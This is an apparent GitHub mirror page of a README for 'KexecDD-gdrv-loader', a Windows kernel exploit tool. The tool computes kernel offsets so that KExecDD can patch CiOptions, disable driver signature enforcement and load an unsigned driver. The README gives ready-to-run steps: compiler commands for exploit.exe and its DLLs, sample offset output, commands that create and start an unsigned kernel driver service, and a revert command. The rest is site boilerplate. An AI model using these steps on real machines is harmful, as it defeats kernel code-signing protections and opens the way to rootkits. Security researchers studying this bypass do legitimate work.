Giter VIP home page Giter VIP logo

kexecdd-gdrv-loader's Introduction

KexecDD-gdrv-loader

This is the same KExecDD exploit (https://github.com/floesen/KExecDD).

Rather than having to find the correct NTOSKRNL_WRITE_GADGET and CI_OPTIONS using a debugger for Kernel debugging on the target system, this comes together with a modified version of https://github.com/v1k1ngfr/gdrv-loader to calculate these offsets on the target system. A lot of the gdrv-loader code base is left untouched and not really needed.

Note: the stubs for nt!FsRtlInitializeFileLock and ci!CiInitialize might change in newer versions which might break the offset calculation. This has been tested on a Windows 10 (Build 19045.4191).

This will cause bsod if ran on a system with Virtualization-based Security (VBS) (https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs) enabled.

Usage

Compile the offsets project and execute the exe on the target system. Get the offsets returned and copied them into the kexecdd/dllmain.c and kexecdd/dllmain_restore.c:

offsets.exe

> Offset CiOptions: 000000000003A478

> Offset asm mov:   0000000000201852

Compile the loader.c, dllmain.c and dllmain_restore.c using the x64 Native Tools Command Prompt:

cl.exe /nologo /MT /Ox /W0 /GS- /DNDEBUG loader.c /link Advapi32.lib /OUT:exploit.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
cl.exe /LD /nologo /MT /Ox /W0 /GS- /DNDEBUG dllmain.c /link /OUT:exploit.dll /SUBSYSTEM:CONSOLE /MACHINE:x64
cl.exe /LD /nologo /MT /Ox /W0 /GS- /DNDEBUG dllmain_restore.c /link /OUT:restore.dll /SUBSYSTEM:CONSOLE /MACHINE:x64

Create the unsigned driver service:

sc create unsigned type= kernel binPath= C:\path_to\unsigned.sys

Run the exploit:

exploit.exe

Load the unsigned driver:

sc start unsigned

Revert the kernel memory patch:

exploit.exe 6

More information

LSASS rings KsecDD ext. 0

kexecdd-gdrv-loader's People

Contributors

clod81 avatar alexander-bruun avatar

Stargazers

WtZ avatar Nicolas Vincent avatar

Forkers

uniqu3ch1

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.